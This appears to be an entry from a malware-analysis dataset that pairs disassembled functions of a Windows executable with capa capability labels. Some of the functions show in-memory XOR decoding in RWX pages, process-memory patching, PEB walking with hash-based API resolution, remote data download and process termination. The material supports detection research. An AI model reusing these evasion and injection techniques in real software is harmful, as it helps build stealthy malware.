joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac06
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], 0xa00000
push edi
mov byte [ebp - 1], bl
ja 0x40ace0
push dword [esi]
call fcn.00409f53
mov dword [ebp - 0x20], eax
and eax, edx
mov dword [ebp - 0x1c], edx
cmp eax, 0xffffffff
je 0x40ace0
push 2
push ebx
push ebx
push dword [esi]
call fcn.00409f33
test al, al
je 0x40ace0
push dword [esi]
call fcn.00409f53
mov dword [ebp - 0x18], eax
and eax, edx
mov dword [ebp - 0x14], edx
cmp eax, 0xffffffff
je 0x40acca
push 5
push ebx
lea eax, [ebp - 0x10]
push eax
call fcn.00404cfe
mov eax, dword [esi + 0x10]
xor eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 5
lea eax, [ebp - 0x10]
push eax
push dword [esi]
call edi
test eax, eax
je 0x40acb4
cmp dword [ebp - 8], 5
jne 0x40acb4
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi]
call edi
test eax, eax
je 0x40acb4
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 8], eax
jne 0x40acb4
mov byte [ebp - 1], 1
jmp 0x40acca
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [esi]
call fcn.00409f33
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [esi]
call fcn.00409f33
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret 8

Function at 0x40ace9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
push dword [esi]
call fcn.00409f53
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
xor ebx, ebx
jmp 0x40ad45
cmp dword [ebp - 4], ebx
je 0x40ad60
cmp dword [ebp - 4], 5
jne 0x40adbd
mov eax, dword [ebp - 0xc]
xor eax, dword [esi + 0x10]
mov dword [ebp - 0xc], eax
cmp eax, 0xa00000
ja 0x40adbd
test byte [ebp - 8], 1
jne 0x40ad2f
cmp eax, ebx
jne 0x40ad69
push 1
push ebx
push eax
push dword [esi]
call fcn.00409f33
test al, al
je 0x40adbd
push dword [esi]
call fcn.00409f53
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 4]
push eax
push 5
lea eax, [ebp - 0xc]
push eax
push dword [esi]
mov dword [ebp - 0x14], edx
call edi
test eax, eax
jne 0x40ad02
jmp 0x40adbd
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
mov al, 1
jmp 0x40adbf
call fcn.00404c1b
mov ebx, eax
test ebx, ebx
je 0x40adbd
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push ebx
push dword [esi]
call edi
test eax, eax
je 0x40adb7
mov edi, dword [ebp - 0xc]
cmp dword [ebp - 4], edi
jne 0x40adb7
push dword [ebp + 0x10]
mov eax, ebx
call fcn.0040a9de
mov dword [ebp - 4], eax
test eax, eax
je 0x40adb7
mov ecx, dword [ebp + 8]
mov dword [ecx], ebx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esi + 0xc], eax
jmp 0x40ad65
push ebx
call fcn.00404c4b
xor al, al
pop edi
pop ebx
leave
ret 0xc
Function at 0x40adc5
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [esi + 8]
and eax, dword [esi + 0xc]
push ebx
xor ebx, ebx
mov byte [esp + 0xb], bl
cmp eax, 0xffffffff
je 0x40ae84
push dword [esi]
call fcn.00409f53
mov dword [esp + 0x18], eax
and eax, edx
mov dword [esp + 0x1c], edx
cmp eax, 0xffffffff
je 0x40ae84
push ebx
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi]
call fcn.00409f33
test al, al
je 0x40ae84
push ebx
lea eax, [esp + 0x10]
push eax
push 5
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40ae74
cmp dword [esp + 0xc], 5
jne 0x40ae74
or byte [esp + 0x14], 1
push ebx
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi]
call fcn.00409f33
test al, al
je 0x40ae74
push ebx
lea eax, [esp + 0x10]
push eax
push 5
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40ae74
cmp dword [esp + 0xc], 5
jne 0x40ae74
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [esp + 0xb], 1
push ebx
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esi]
call fcn.00409f33
mov al, byte [esp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b064
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp + 8]
push edi
call esi
test eax, eax
je 0x40b0ae
xor eax, eax
xor cl, cl
cmp dword [ebp + 8], eax
jbe 0x40b0a1
movzx edx, cl
mov dl, byte [ebp + edx + 0xc]
xor byte [eax + edi], dl
inc cl
cmp cl, 4
jne 0x40b09b
xor cl, cl
inc eax
cmp eax, dword [ebp + 8]
jb 0x40b088
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call esi
pop esi
leave
ret 8

Function at 0x40b9c7
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x230
push esi
push edi
push 0x26
lea esi, [esp + 0x24]
pop eax
call fcn.004157fb
mov eax, esi
mov dword [esp + 8], eax
xor edi, edi
lea eax, [esp + 0x30]
push eax
push edi
push edi
push 0x21
push edi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40ba61
push 0x27
lea esi, [esp + 0x1c]
pop eax
call fcn.004157fb
push edi
push edi
push edi
lea eax, [esp + 0x18]
push eax
mov esi, 0x40b93e
push esi
push 4
push 1
lea edx, [esp + 0x24]
lea ecx, [esp + 0x4c]
call fcn.0040a378
lea eax, [esp + 0x30]
push eax
push eax
lea eax, [esp + 0x20]
call fcn.0040a4d4
test al, al
je 0x40ba61
push edi
push edi
push edi
lea eax, [esp + 0x18]
push eax
push esi
push 4
push 1
lea edx, [esp + 0x24]
lea ecx, [esp + 0x4c]
call fcn.0040a378
test bl, 2
je 0x40ba78
mov eax, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40bb27
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push ebx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, 0x1000
call fcn.00404c1b
xor esi, esi
mov dword [esp + 0x10], eax
cmp eax, esi
jne 0x40bb5c
push esi
call fcn.00404c4b
xor al, al
jmp 0x40bc38
mov ebx, dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
push 0x40bade
push dword [ebp + 8]
call ebx
push 0x28
pop edx
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
push edx
mov dword [eax], esi
push esi
lea eax, [esp + 0x20]
push eax
mov dword [edi], esi
mov byte [esp + 0x1b], 1
call fcn.00404cfe
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], edx
mov dword [esp + 0x2c], eax
push esi
push 8
lea eax, [esp + 0x20]
push eax
push dword [ebp + 8]
mov dword [esp + 0x40], 0x1000
call dword [sym.imp.WININET.dll_InternetReadFileExA]
test eax, eax
jne 0x40bbcc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x40bc02
lea eax, [ebp + 0xc]
push eax
call fcn.004083b8
jmp 0x40bb97
cmp dword [esp + 0x30], esi
je 0x40bc07
mov ecx, dword [edi]
add ecx, dword [esp + 0x30]
mov esi, dword [ebp + 0x10]
call fcn.00404bd6
test al, al
je 0x40bc02
push dword [esp + 0x30]
mov eax, esi
mov eax, dword [eax]
push dword [esp + 0x14]
add eax, dword [edi]
push eax
call fcn.00404c87
mov eax, dword [esp + 0x30]
add dword [edi], eax
xor esi, esi
jmp 0x40bb97
mov byte [esp + 0xf], 0
mov eax, dword [esp + 0x14]
inc eax
neg eax
sbb eax, eax
and eax, dword [esp + 0x14]
push eax
push dword [ebp + 8]
call ebx
push dword [esp + 0x10]
call fcn.00404c4b
cmp byte [esp + 0xf], 0
jne 0x40bc34
mov eax, dword [ebp + 0x10]
push dword [eax]
call fcn.00404c4b
mov al, byte [esp + 0xf]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40ed36
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get program files directory
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
push ebx
push esi
push 0x2a
lea esi, [ebp - 0x8c]
pop eax
call fcn.004157fb
lea eax, [ebp - 0x49c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40eeb7
lea eax, [ebp - 0x49c]
push eax
push eax
mov eax, esi
call fcn.0040a4d4
test al, al
je 0x40eeb7
push 0x2c
lea esi, [ebp - 0x6c]
pop eax
call fcn.004157fb
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x6a4]
push eax
mov eax, esi
call fcn.0040a4d4
test al, al
je 0x40eeb7
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40eeb7
push 0x2d
lea esi, [ebp - 0x38]
pop eax
call fcn.004157fb
push 0x2e
lea esi, [ebp - 0x50]
pop eax
call fcn.004157fb
push 0x2f
lea esi, [ebp - 0x10]
pop eax
call fcn.004157fb
mov byte [ebp - 1], bl
push edi
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x38]
push eax
push 0xa
pop edx
lea edi, [ebp - 0x24]
call fcn.0040593e
pop ecx
pop ecx
cmp eax, 1
jl 0x40eeb6
lea eax, [ebp - 0x6a4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40eeb6
lea eax, [ebp - 0x6a4]
push eax
push 0x104
lea eax, [ebp - 0x294]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40eea9
lea eax, [ebp - 0x294]
cmp word [ebp - 0x294], bx
je 0x40ee6d
cmp word [eax], 0x2f
jne 0x40ee65
push 0x5c
pop ecx
mov word [eax], cx
add eax, 2
cmp word [eax], bx
jne 0x40ee59
cmp esi, 1
jne 0x40ee97
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x8ac]
push eax
lea eax, [ebp - 0x294]
call fcn.0040a4d4
test al, al
je 0x40eea9
lea ecx, [ebp - 0x8ac]
jmp 0x40ee9d
lea ecx, [ebp - 0x294]
mov edx, dword [ebp + 8]
call fcn.0040eebd
test al, al
je 0x40eeb6
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xfa
jb 0x40ede5
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40eebd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push esi
push edi
push 0x2b
lea esi, [ebp - 0x1c]
pop eax
mov dword [ebp - 0xc], edx
mov edi, ecx
call fcn.004157fb
push edi
lea eax, [ebp - 0x36c]
push eax
mov eax, esi
call fcn.0040a4d4
test al, al
je 0x40ef9e
xor esi, esi
push esi
push 0x80
push 2
push esi
push 1
push 0x40000000
lea eax, [ebp - 0x36c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40ef9e
push ebx
push 0x30
lea edi, [ebp - 0x164]
pop eax
xor bl, bl
call fcn.004157c5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push eax
mov edi, 0x146
push edi
lea eax, [ebp - 0x164]
push eax
push dword [ebp - 4]
call esi
test eax, eax
je 0x40ef7b
cmp dword [ebp - 8], edi
jne 0x40ef7b
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x40ef75
call fcn.00405788
push 0
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
push ecx
push dword [ebp - 4]
call esi
test eax, eax
je 0x40ef79
cmp dword [ebp - 8], edi
jne 0x40ef79
mov bl, 1
jmp 0x40ef7b
xor bl, bl
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
pop ebx
jne 0x40ef9e
lea eax, [ebp - 0x36c]
push eax
call fcn.00409faa
pop edi
mov al, 1
pop esi
leave
ret
Function at 0x410ab1
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x11c
push esi
lea eax, [ebp - 0xa4]
push eax
xor esi, esi
mov dword [ebp - 0xa4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x410b7f
push 2
pop eax
cmp dword [ebp - 0x94], eax
jne 0x410b7f
xor ecx, ecx
inc ecx
cmp byte [ebp + 0x76], cl
jne 0x410b3f
cmp dword [ebp - 0xa0], 5
jne 0x410b1e
cmp dword [ebp - 0x9c], esi
jne 0x410b0a
mov esi, ecx
jmp 0x410b7f
cmp dword [ebp - 0x9c], ecx
je 0x410b1a
cmp dword [ebp - 0x9c], eax
jne 0x410b7f
mov esi, eax
jmp 0x410b7f
cmp dword [ebp - 0xa0], 6
jne 0x410b7f
cmp dword [ebp - 0x9c], esi
jne 0x410b33
push 4
jmp 0x410b7e
cmp dword [ebp - 0x9c], ecx
jne 0x410b7f
push 6
jmp 0x410b7e
cmp byte [ebp + 0x76], al
je 0x410b4a
cmp byte [ebp + 0x76], 3
jne 0x410b7f
cmp dword [ebp - 0xa0], 5
jne 0x410b5f
cmp dword [ebp - 0x9c], eax
jne 0x410b7f
push 3
jmp 0x410b7e
cmp dword [ebp - 0xa0], 6
jne 0x410b7f
cmp dword [ebp - 0x9c], esi
jne 0x410b74
push 5
jmp 0x410b7e
cmp dword [ebp - 0x9c], ecx
jne 0x410b7f
push 7
pop esi
mov eax, esi
pop esi
add ebp, 0x78
leave
ret

Function at 0x410cb0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
cmp dword [ebp + 0xc], 0xffffffff
je 0x410d60
test byte [ebp + 0x14], 2
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xa8]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x80
je 0x410cf0
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x410cf8
or eax, 0xffffffff
jmp 0x410dc4
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x410ce4
cmp word [ebp - 0xa8], 2
jne 0x410d2c
push 4
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp + 0xf], 1
call fcn.00404c87
push 2
lea eax, [ebp - 0xa6]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00404c87
jmp 0x410d84
cmp word [ebp - 0xa8], 0x17
jne 0x410ce8
push 0x10
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp + 0xf], 4
call fcn.00404c87
push 2
lea eax, [ebp - 0xa6]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00404c87
jmp 0x410d77
push 0x1c
push 0
lea eax, [ebp - 0x20]
push eax
call fcn.00404cfe
test byte [ebp + 0x14], 1
je 0x410d80
mov byte [ebp + 0xf], 4
mov dword [ebp - 4], 0x12
jmp 0x410d8b
mov byte [ebp + 0xf], 1
mov dword [ebp - 4], 6
mov al, byte [ebp + 0x10]
mov byte [ebp + 0xd], al
push 4
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
mov byte [ebp + 0xc], 5
mov byte [ebp + 0xe], 0
call fcn.00404c87
mov eax, dword [ebp - 4]
add eax, 4
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
call fcn.00407c75
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
leave
ret 0x10
Function at 0x411699
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [ebp + 0xc], 0xffffffff
je 0x4116e0
test byte [ebp + 0x14], 2
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x10
je 0x4116cc
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x4116d4
or eax, 0xffffffff
jmp 0x41170b
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x4116c3
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ax, word [ebp - 0x1a]
jmp 0x4116e6
and dword [ebp - 8], 0
xor eax, eax
mov word [ebp - 0xa], ax
mov al, byte [ebp + 0x10]
mov byte [ebp - 0xb], al
push 8
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov byte [ebp - 0xc], 0
call fcn.00407c75
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
leave
ret 0x10
Function at 0x412456
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 2
mov dword [ebp - 4], 0x104
call dword [sym.imp.Secur32.dll_GetUserNameExW]
test al, al
je 0x4124a7
mov eax, dword [ebp - 4]
test eax, eax
je 0x4124a7
xor ecx, ecx
mov word [esi + eax*2], cx
mov eax, esi
cmp word [esi], cx
je 0x4124af
movzx ecx, word [eax]
cmp ecx, 0x2f
je 0x412496
cmp ecx, 0x5c
jne 0x41249c
push 0x7c
pop ecx
mov word [eax], cx
add eax, 2
cmp word [eax], 0
jne 0x412489
jmp 0x4124af
push 6
pop eax
call fcn.004157fb
pop esi
leave
ret

Function at 0x41298b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 2], 1
test eax, eax
je 0x412a18
push ebx
push esi
push edi
lea edi, [ecx + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x412a0d
mov esi, dword [edi - 8]
movzx ebx, byte [edi + 4]
mov eax, esi
mov byte [ebp - 1], 0
call fcn.00409446
cmp eax, 0x1e
jb 0x412a09
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x412a09
push 0
add ebx, 0xfffffffb
push ebx
push dword [ebp - 0x10]
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4129f1
mov byte [ebp - 1], 1
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp byte [ebp - 1], 0
jne 0x412a0d
mov byte [ebp - 2], 0
add edi, 0x10
dec dword [ebp - 0xc]
jne 0x4129a2
pop edi
pop esi
pop ebx
mov al, byte [ebp - 2]
leave
ret

Function at 0x412a82
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
xor ecx, ecx
cmp ebx, esi
jbe 0x412aa8
mov eax, dword [ebp + 8]
add eax, 0xc
cmp dword [eax - 0xc], esi
je 0x412afd
mov dword [eax - 4], esi
mov byte [eax], 0
inc ecx
add eax, 0x10
cmp ecx, ebx
jb 0x412a95
mov eax, ebx
imul eax, eax, 0x23
push edi
push 0x40
push 0x3000
push eax
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, esi
je 0x412b0b
mov dword [ebp - 4], esi
cmp ebx, esi
jbe 0x412af4
mov esi, dword [ebp + 8]
add esi, 8
mov eax, dword [esi - 4]
push edi
push dword [esi - 8]
call fcn.0040948b
test eax, eax
je 0x412af4
mov dword [esi], edi
add edi, eax
inc dword [ebp - 4]
mov byte [esi + 4], al
add esi, 0x10
cmp dword [ebp - 4], ebx
jb 0x412ad2
cmp dword [ebp - 4], ebx
jne 0x412b01
mov al, 1
jmp 0x412b0d
xor al, al
jmp 0x412b0e
mov ecx, dword [ebp + 8]
mov eax, ebx
call fcn.0041298b
xor al, al
pop edi
pop esi
leave
ret 4
Function at 0x41351e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx + 0x180]
sub esp, 0x2c8
push esi
push edi
test eax, eax
je 0x413547
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x4135e6
lea esi, [ebx + 0x17c]
call fcn.0040665a
push 1
lea edi, [ebp - 0x2c8]
call fcn.0041496d
xor edi, edi
push edi
lea eax, [ebp - 0xc0]
push eax
push 0x2937498d
call fcn.00414611
push 0x44
pop edx
push edx
push edi
lea eax, [ebp - 0x58]
push eax
call fcn.00404cfe
push dword [ebx + 0xc]
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push 0x403718
lea eax, [ebp - 0x2c8]
push eax
call fcn.00406512
test eax, eax
jne 0x4135b8
xor al, al
jmp 0x4135e8
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.00404c87
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4135e6
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0040665a
jmp 0x4135b4
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x413680
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push dword [ebp + 8]
mov ebx, eax
call fcn.0040feb5
movzx eax, ax
mov dword [ebp - 0xc], eax
test al, 1
jne 0x4137e9
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x4136e0
push 2
lea eax, [ebx + 0x50]
push eax
push dword [ebp - 8]
lea eax, [ebx + 0x3c]
push eax
mov eax, dword [ebx + 0x4c]
lea ecx, [ebp - 0x88]
call fcn.004092a8
lea eax, [ebp - 0x88]
push eax
call fcn.0040842e
mov byte [ebp - 1], al
jmp 0x4136e4
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
je 0x413739
test byte [ebp - 0xc], 0x10
jne 0x413739
push dword [ebx + 0xc]
call esi
movzx eax, word [edi + 0xc]
movzx ecx, word [edi + 8]
shl eax, 0x10
or eax, ecx
movzx ecx, word [edi]
push eax
movzx eax, word [edi + 4]
shl eax, 0x10
or eax, ecx
push eax
push dword [ebx + 8]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x413739
push 0x64
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4137e9
call fcn.0041351e
test al, al
je 0x4137a8
mov eax, dword [ebx + 0x10]
push 0x10
push edi
add eax, 0x114
push eax
call fcn.00404c87
push dword [ebx + 0xc]
call esi
push dword [ebp + 8]
push 0xfffffffffffffffc
push dword [ebx + 8]
push dword [ebx + 0x188]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
je 0x4137a8
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x413793
mov eax, dword [ebx + 0x10]
cmp byte [eax + 0x124], 1
jne 0x4137a8
mov al, byte [ebp - 1]
jmp 0x4137eb
push 0
lea esi, [ebx + 0x17c]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0040665a
mov eax, dword [ebp + 0xc]
test dword [eax + 0x24], 0x40000000
jne 0x4137e9
push edi
add eax, 4
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_IntersectRect]
push 6
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_FillRect]
push 0xf
push 0xa
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_DrawEdge]
mov al, 1
pop esi
pop ebx
leave
ret 8

Function at 0x41395f
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push esi
mov esi, ecx
push edi
mov edi, eax
test si, si
je 0x413993
push 2
mov eax, esi
pop edx
call fcn.004138c5
test al, al
je 0x413993
mov edi, dword [ebp + 8]
push 0x17
mov eax, esi
pop edx
call fcn.004138c5
mov ax, si
jmp 0x4139e1
push 2
xor eax, eax
pop edx
call fcn.004138c5
test al, al
je 0x4139df
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [edi]
mov dword [ebp - 8], 0x80
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x4139cf
mov ax, word [ebp - 0x8a]
rol ax, 8
movzx esi, ax
jmp 0x413981
mov esi, dword [edi]
call fcn.00407fee
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret 4
Function at 0x413df3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi + 0x3c]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + edi + 0x78]
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x413e38
mov ebx, dword [esi + 0x20]
add ebx, edi
test ebx, ebx
je 0x413e2a
mov ecx, dword [ebx]
push dword [ebp + 8]
or eax, 0xffffffff
add ecx, edi
or edx, eax
call fcn.004057ae
test eax, eax
je 0x413e40
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add ebx, 4
cmp eax, dword [esi + 0x18]
jb 0x413e11
xor eax, eax
pop esi
pop ebx
leave
ret 4
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x413e3a

Function at 0x413eb9
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push esi
push edi
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x413edc
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x413ed3
cmp edi, 0x6a4abc5b
mov eax, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x413ec9
pop edi
pop esi
ret

Function at 0x414026
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
test byte [ebp + 8], 1
push ebx
push esi
push edi
je 0x4140c1
cmp byte [0x423934], 1
jbe 0x4140d4
xor ebx, ebx
xor edi, edi
mov ax, word [edi + 0x402348]
lea esi, [ebp - 0x498]
call fcn.004157fb
lea eax, [ebp - 0x208]
push eax
xor eax, eax
push eax
push eax
push dword [edi + 0x402350]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4140a5
lea eax, [ebp - 0x208]
push eax
push eax
mov eax, esi
call fcn.0040a4d4
test al, al
je 0x4140a5
push dword [0x423724]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4140b0
add edi, 0xc
inc ebx
cmp edi, 0x54
jb 0x41404d
jmp 0x4140d4
imul ebx, ebx, 0xc
mov eax, dword [ebx + 0x40234c]
or dword [0x4236c8], eax
jmp 0x4140d4
test byte [0x4236c8], 1
je 0x4140d4
or dword [0x4236c8], 0x1e0
pop edi
pop esi
mov al, 1
